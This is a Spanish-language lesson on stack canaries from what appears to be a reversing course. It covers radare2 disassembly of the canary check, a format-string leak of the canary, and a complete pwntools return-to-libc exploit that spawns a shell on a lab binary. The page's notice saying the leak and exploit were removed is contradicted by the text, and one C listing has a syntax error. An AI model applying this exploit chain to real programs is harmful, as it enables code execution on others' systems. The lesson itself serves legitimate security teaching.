Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Memoria y mitigaciones / 25

Canarios de pila

LoberaFormación técnica25 / 33 · 6 min de lectura · Linux / Windows · x86-64
25 / 33

Reconocer el guardado y la comprobación de un canario en el prólogo y el epílogo.

Consultar conceptos ↗
Edición parcial: diferencias con el original

Se excluyen la extracción del canario mediante una vulnerabilidad y la construcción del exploit que elude la comprobación. Se conserva el análisis de la instrumentación y sus límites.

Compilando sin no-stack-protector

Siguiendo los posts anteriores donde hablamos sobre vulnerabilidades de desbordamiento de buffer y cómo escribir exploits para ellas, hoy vamos a hablar de los canarios de pila (stack canaries).

Como recordamos, en los posts anteriores compilábamos nuestro programa vulnerable desactivando los mecanismos de protección de la pila (opciones no-stack-protector, no-pie). Antes de empezar, vamos a inspeccionar qué ocurre si compilamos el programa sin desactivarlos. Partimos de nuestro programa vulnerable más simple:

C
#include <stdio.h>

void greet_me()
{
  char name[200];
  gets(name);
  printf("Hi there %s !!\n",name);
}

int main(int argc, char *argv[])
{
  greet_me();
  return 0; 
}

Y lo compilamos así:

TERMINAL
gcc -w vuln.c -o vuln -D_FORTIFY_SOURCE=0

Después intentamos desbordar el buffer enviando una secuencia de caracteres A:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/canary$ ./vuln_canary 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA !!
*** stack smashing detected ***: <unknown> terminated

Pero esta vez observamos que el programa termina sin el desbordamiento típico. En su lugar vemos un «stack smashing detected» seguido de «terminated». El programa detecta de alguna forma el desbordamiento de buffer y lo termina de inmediato, sin dejar margen para que ningún exploit funcione.

Stack canaries

Lo que ha ocurrido es que, al no estar desactivado, GCC compiló el programa habilitando stack canaries. El término Stack Canaries hace referencia al canario en la mina de carbón, un mecanismo de protección para los mineros que trabajaban en minas de carbón a principios del siglo XX. Los mineros llevaban un canario real dentro de la mina; cuando el canario moría, era momento de salir antes de morir por intoxicación. La siguiente imagen, extraída del blog de Ch0pin, muestra un canario de ejemplo:

El mecanismo funciona de manera similar en la pila. Parte del hecho de que un atacante intentará desbordar la pila, es decir, sobrescribir memoria cuando no debería hacerlo. Supongamos que al inicio de una llamada a función (por ejemplo, durante su prólogo) guardamos un valor en el marco de pila de la función; esperaríamos leer ese mismo valor justo antes de que la función termine, es decir, en su epílogo. Si el valor ha cambiado, la ejecución del programa se terminará y se mostrará un mensaje de error.

Visualmente, podemos ver que los stack canaries funcionan como en el siguiente diagrama:

Ahora, si volvemos a nuestro programa anterior compilado sin desactivar el stack protector, vemos lo siguiente antes y después de la función greet_me:

ENSAMBLADOR / REFERENCIA
0x5555555546fa    3 96           sym.greet_me
0x55555555475a    1 32           sym.main
0x555555554780    4 101          sym.__libc_csu_init
0x5555555547f0    1 2            sym.__libc_csu_fini
0x5555555547f4    1 9            sym._fini
0x555555754fe0    1 1020         reloc.__libc_start_main_224
[0x7ffff7dd4090]> s 0x5555555546fa
[0x5555555546fa]> pdf
/ (fcn) sym.greet_me 96
|   sym.greet_me ();
|           ; var int local_d0h @ rbp-0xd0
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x55555555476e (sym.main)
|           0x5555555546fa      55             push rbp
|           0x5555555546fb      4889e5         mov rbp, rsp
|           0x5555555546fe      4881ecd00000.  sub rsp, 0xd0
|           0x555555554705      64488b042528.  mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|           0x55555555470e      488945f8       mov qword [local_8h], rax
|           0x555555554712      31c0           xor eax, eax
|           0x555555554714      488d8530ffff.  lea rax, qword [local_d0h]
|           0x55555555471b      4889c7         mov rdi, rax            ; char *s
|           0x55555555471e      b800000000     mov eax, 0
|           0x555555554723      e8a8feffff     call sym.imp.gets       ; char*gets(char *s)
|           0x555555554728      488d8530ffff.  lea rax, qword [local_d0h]
|           0x55555555472f      4889c6         mov rsi, rax
|           0x555555554732      488d3dcb0000.  lea rdi, qword str.Hi_there__s ; 0x555555554804 ; "Hi there %s !!\n" ; const char * format
|           0x555555554739      b800000000     mov eax, 0
|           0x55555555473e      e87dfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x555555554743      90             nop
|           0x555555554744      488b45f8       mov rax, qword [local_8h]
|           0x555555554748      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x555555554751      7405           je 0x555555554758
|       |   0x555555554753      e858feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x555555554758      c9             leave
\           0x555555554759      c3             ret
[0x5555555546fa]> 

Como vemos, antes de que la función comience, el programa carga el contenido de qword fs:[0x28] en local_8h, que está en la pila. Después recupera su valor y lo compara con el valor inicial para ver si coinciden. Si no coinciden, el programa no retornará, evitando la ejecución de un posible exploit, como vimos. En su lugar saltará a una función que mostrará la cadena de stack smash y llamará a exit() de la forma más segura posible.

En radare2 podemos comprobar si los stack canaries están habilitados en un ejecutable de esta forma:

CÓDIGO / SALIDA
[0x5555555545f0]> i~pic,canary,nx,crypto,stripped,static,relocs
file     /home/lab/canary/vuln_base
canary   true
crypto   false
nx       true
pic      true
relocs   false
static   false
stripped true
[0x5555555545f0]> 

Y podemos depurar el programa para inspeccionar el valor del canario de pila al inicio de la función:

ENSAMBLADOR / REFERENCIA
[0x5555555546fa]> pdf
/ (fcn) sym.greet_me 96
|   sym.greet_me ();
|           ; var int local_d0h @ rbp-0xd0
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x55555555476e (sym.main)
|           0x5555555546fa      55             push rbp
|           0x5555555546fb      4889e5         mov rbp, rsp
|           0x5555555546fe      4881ecd00000.  sub rsp, 0xd0
|           0x555555554705      64488b042528.  mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|           0x55555555470e      488945f8       mov qword [local_8h], rax
|           ;-- rip:
|           0x555555554712 b    31c0           xor eax, eax
|           0x555555554714      488d8530ffff.  lea rax, qword [local_d0h]
|           0x55555555471b      4889c7         mov rdi, rax
|           0x55555555471e      b800000000     mov eax, 0
|           0x555555554723      e8a8feffff     call sym.imp.gets       ; char*gets(char *s)
|           0x555555554728      488d8530ffff.  lea rax, qword [local_d0h]
|           0x55555555472f      4889c6         mov rsi, rax
|           0x555555554732      488d3dcb0000.  lea rdi, qword str.Hi_there__s ; 0x555555554804 ; "Hi there %s !!\n"
|           0x555555554739      b800000000     mov eax, 0
|           0x55555555473e      e87dfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x555555554743      90             nop
|           0x555555554744      488b45f8       mov rax, qword [local_8h]
|           0x555555554748      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x555555554751      7405           je 0x555555554758
|       |   0x555555554753      e858feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x555555554758      c9             leave
\           0x555555554759      c3             ret
[0x5555555546fa]> dr rax
0x22bb275bb4188b00

Como vemos, está almacenado en la pila, antes de los registros guardados y el puntero de marco:

CÓDIGO / SALIDA
[0x5555555546fa]> pxw @ rbp-0x8
0x7fffffffdf98  0xb4188b00 0x22bb275b 0xffffdfc0 0x00007fff  ....['."........
0x7fffffffdfa8  0x55554773 0x00005555 0xffffe0a8 0x00007fff  sGUUUU..........

Y después se recupera al final para comprobar si ha habido sobrescrituras:

ENSAMBLADOR / REFERENCIA
|           0x555555554744      488b45f8       mov rax, qword [local_8h]
|           ;-- rip:
|           0x555555554748 b    644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x555555554751      7405           je 0x555555554758
|       |   0x555555554753      e858feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x555555554758      c9             leave
\           0x555555554759      c3             ret
[0x555555554748]> dr rax
0x22bb275bb4188b00
[0x555555554748]> 

Podemos volver a ejecutar y depurar el programa varias veces para ver cómo el canario de pila, en nuestro caso, cambia cada vez.

También podemos mostrar su valor de una forma más visual y sencilla usando el siguiente programa en C:

C
#include <stdio.h>

#define unsigned_long_int unsigned long int

void greet_me()
{
    char name[200];
    register void *rsp asm ("%rsp");
    register void *rbp asm ("%rbp");
    unsigned_long_int size = ((rbp + 8 * 2) - rsp) / 8;


    printf("-----SZ: %lld | RSP: %llx | RBP: %llx ---------------\n",rsp,rbp);
    printf("[+] Canary value: %llx\n",*((unsigned_long_int*) (rbp-0x8)));
    printf("---------------------------------------------------------\n");
}

void greet_me_again()
{
    char name[200];
    register void *rsp asm ("%rsp");
    register void *rbp asm ("%rbp");
    unsigned_long_int size = ((rbp + 8 * 2) - rsp) / 8;


    printf("-----SZ: %lld | RSP: %llx | RBP: %llx ---------------\n",rsp,rbp);
    printf("[+] Canary value: %llx\n",*((unsigned_long_int*) (rbp-0x8)));
    printf("---------------------------------------------------------\n");

}


int main(int argc, char *argv[])
{
    greet_me();
    greet_me_again();
    return 0;  
}

Aquí vemos que el canario será el mismo, el mismo valor para cada llamada a función dentro de nuestro programa:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/canary$ ./vuln 88
-----SZ: 140737488346864 | RSP: 7fffffffdfd0 | RBP: 555555554860 ---------------
[+] Canary value: b3cf9bf71e2dfa00
---------------------------------------------------------
-----SZ: 140737488346864 | RSP: 7fffffffdfd0 | RBP: 7ffff7af2104 ---------------
[+] Canary value: b3cf9bf71e2dfa00
---------------------------------------------------------
lab@lab-VirtualBox:~/canary$ 

Lo cual es particularmente bueno, ya que si somos capaces de obtener el valor del canario en ejecución, podremos atacar cada función de forma segura.

Tipos de canarios

No existe un único tipo de canario de pila. El siguiente artículo de SANS los describe muy bien. Resumiendo para nuestro caso, normalmente encontraremos: canarios terminadores (Terminator canaries), que consisten en al menos un carácter terminador de cadena (nueva línea, nulo, etc.), y la idea es que, dado que la mayoría de vulnerabilidades de desbordamiento provienen de funciones como gets() o strcpy(), el atacante no podrá incluirlos en el payload. Canarios aleatorios (Random canaries), que consisten en una secuencia de bytes aleatorios desconocida para el atacante. Y canarios XOR aleatorios (Random XOR), que consisten en un valor aleatorio XOR-eado con una máscara construida a partir del puntero de marco adyacente y la dirección de retorno.

Los canarios terminadores funcionan muy bien al limitar la longitud del buffer, cortando el payload automáticamente ya que 0x00 termina la cadena. Los canarios aleatorios, como en nuestro caso, funcionan comparando un valor generado aleatoriamente, aunque pueden resultar inútiles si el programa también tiene una vulnerabilidad de fuga de memoria que permita al atacante recuperar ese valor. Los canarios XOR funcionan de forma similar y sufren vulnerabilidades parecidas, añadiendo un paso extra de dificultad.

Desde la versión 2.7.2.2, GCC incluye la extensión StackGuard consulta el código aquí que habilita el uso de canarios aleatorios. El compilador añade código en el prólogo y epílogo de la función para activar el canario.

Bypaseando StackGuard con fugas de memoria

En términos generales, bypasearemos el StackGuard accediendo al valor del canario de pila de dos formas: por fuerza bruta del valor del canario o abusando de una fuga de memoria para recuperar su valor. BananaMafia tiene un buen tutorial sobre fuerza bruta del canario. Aquí iremos por el enfoque de fuga de memoria:

Empezamos con este programa, que básicamente es el mismo que el anterior salvo que lee un parámetro de argv:

C
#include <stdio.h>
#define unsigned_long_int unsigned long int
void greet_me(char *input)
{
    char name[200];
    printf(input);
    printf("\n")
    gets(name);
    printf("Hi there %s !!\n",name);
}
int main(int argc, char *argv[])
{
    greet_me(argv[1]);
    return 0;  
}

Y es vulnerable a una vulnerabilidad de format string.

Vemos que los format strings como %s, %d, etc., se usan para especificar un formato de datos. La lista completa para C está aquí. %d va para el entero decimal, c para carácter y... x para hexadecimal. Además, podemos especificar la longitud: por ejemplo ll corresponde a long long int. Y podemos combinarlos, así que llx especificará una dirección x64.

Volviendo a nuestro programa, vemos que básicamente envía el contenido del primer argumento directamente a printf, sin ninguna comprobación ni especificación de formato adicional dentro del programa. Así que si enviamos un buffer que solo contenga especificadores de formato, sin texto ni datos reales, el programa intentará referirse a los datos en la pila, provocando así una fuga de memoria en nuestro formato de interés:

Podemos intentar enviar el siguiente buffer como argumento:

CÓDIGO / SALIDA
%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx

Y veremos las fugas de memoria:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/canary$ ./vuln_canary %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx
7fffffffdfd8,7fffffffdff0,5555555547f0,7ffff7dced80,7ffff7dced80,0,7fffffffe317,0,7ffff7ffe710,7ffff7b95687,0,7fffffffde50,7fffffffde60,7ffff7ffea98,0,0,7fffffffde70,ffffffff,0,7ffff7ffb2a8,7ffff7ffe710,0,0,0,0,9,7ffff7dd5660,7fffffffdf08,f0b5ff,1,55555555483d,7ffff7de3b40,ec6f25befc82300,7fffffffdef0,5555555547e1,7fffffffdfd8,200000000,5555555547f0,7ffff7a03c87,2,7fffffffdfd8,200008000,5555555547bf,0,be51b7a7fa1c8578,555555554630,7fffffffdfd0,0

Habiendo analizado previamente nuestro programa, podemos identificar fácilmente algo que se asemeja a nuestro canario:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/canary$ ./vuln_canary  %33\$llx
7e791a4e294e1100

Hi there  !!
lab@lab-VirtualBox:~/canary$ 
lab@lab-VirtualBox:~/canary$ ./vuln_canary  %33\$llx
85f4f9bb91ee7100

A partir de aquí, escribir el exploit es muy fácil si entendemos los fundamentos. Solo necesitamos: 1) recuperar automáticamente el canario mediante una fuga de memoria, 2) desbordar/sobrescribir la pila colocando el valor (recuperado) del canario en su posición (local_8h). Después, continuar con el exploit como siempre.

!stack

Podemos adaptar nuestro exploit usando la técnica return-to-libc, discutida anteriormente en este blog.

Empezamos buscando dentro de libc:

CÓDIGO / SALIDA
[0x555555554630]> e search.from=0x7ffff7dd3000
[0x555555554630]> e search.to=0x7ffff7dfc000

Obteniendo ret, pop rdi; ret y las direcciones de system, bin/sh y exit. Con eso podemos lanzar una shell:

CÓDIGO / SALIDA
[0x555555554630]> /R ret
  0x7ffff7dd336c       69374ab593d1  imul esi, dword [rdi], 0xd193b54a
  0x7ffff7dd3372               70ed  jo 0x7ffff7dd3361
  0x7ffff7dd3374                 54  push rsp
  0x7ffff7dd3375         a9a542b486  test eax, 0x86b442a5
  0x7ffff7dd337a                 c3  ret


[0x555555554630]> /R pop rdi
  0x7ffff7dd47fb                 5f  pop rdi
  0x7ffff7dd47fc                 c3  ret

[0x555555554630]> dmi libc system~ system$
1406 0x0004f420 0x7ffff7a31420   WEAK   FUNC   45 system

Searching 7 bytes in [0x7ffff7dd3000-0x7ffff7dfc000]
hits: 0
0x7ffff7b95d88 hit2_0 .cempty == 1-c/bin/shexit 0canonica.
[0x555555554630]> pxw @ 0x7ffff7b95d88
0x7ffff7b95d88  0x6e69622f 0x0068732f 0x74697865 0x63003020  /bin/sh.exit 0.c
0x7ffff7b95d98  0x6e6f6e61 0x6c616369 0x2e657a69 0x534d0063  anonicalize.c.MS

Y después podemos integrarlos en una función exploit. Aquí he usado pwntools, que puede instalarse fácilmente siguiendo esta guía.

Y he construido el exploit así. Ten en cuenta que podemos usar la técnica return-to-libc encontrando la dirección base de libc (o de cualquier otra librería si encaja) y llamando después a direcciones relativas desde ese punto, o podemos simplemente llamar a esas direcciones directamente (hardcodeando todo). En general, usar direcciones relativas desde libc será más útil cuando nos enfrentemos a ASLR o trabajemos en sistemas distintos.

PY
#!/usr/bin/env python3

from pwn import *
from struct import pack

exe = context.binary = ELF('./vuln_canary')

libc_base_address = 0x7ffff79e2000

ret = libc_base_address+0x3F137A
# ret  = 0x7ffff7dd337a

pop_rdi = libc_base_address + 0x3F27FB
# pop_rdi = 0x7ffff7dd47fb

bin_sh = libc_base_address + 0x1B3D88
#bin_sh = 0x7ffff7b95d88 

_system = libc_base_address + 0x4F420
#_system = 0x7ffff7a31420

_exit = libc_base_address + 0x43110
# _exit =0x7ffff7a25110

print("[+] Spawning process...")

io = process([exe.path , "%33$llx"])
canary = int(io.readline().strip(),16)

print("[+] Canary leaked:{}".format(hex(canary)))

buf = b'A' * 200 

buf += p64(canary)
buf += b'\x42' * 8
buf += p64(ret)
buf += p64(pop_rdi)
buf += p64(bin_sh)
buf += p64(_system)
buf += p64(_exit)

with open('payload','wb') as payload:
    payload.write(buf)

io.sendline(buf)

io.interactive()

Y tras ejecutar el exploit, sin sorpresas, ejecución conseguida:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/canary$ python3 exploit.py 
[*] '/home/lab/canary/vuln_canary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Spawning process...
[+] Starting local process '/home/lab/canary/vuln_canary': pid 18398
[+] Canary leaked:0x9a67985edc03e800
[*] Switching to interactive mode
Hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA !!
$ ls
exploit.py  script.rr2    vuln_base  vuln_canary      vuln_print.c
payload     vuln    vuln.c       vuln_canary.c
$  

Con esto concluye la lección sobre canarios de pila.

Referencias

Blog de ch0pin Format string bugs

Comprobación personal

Antes de continuar

Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.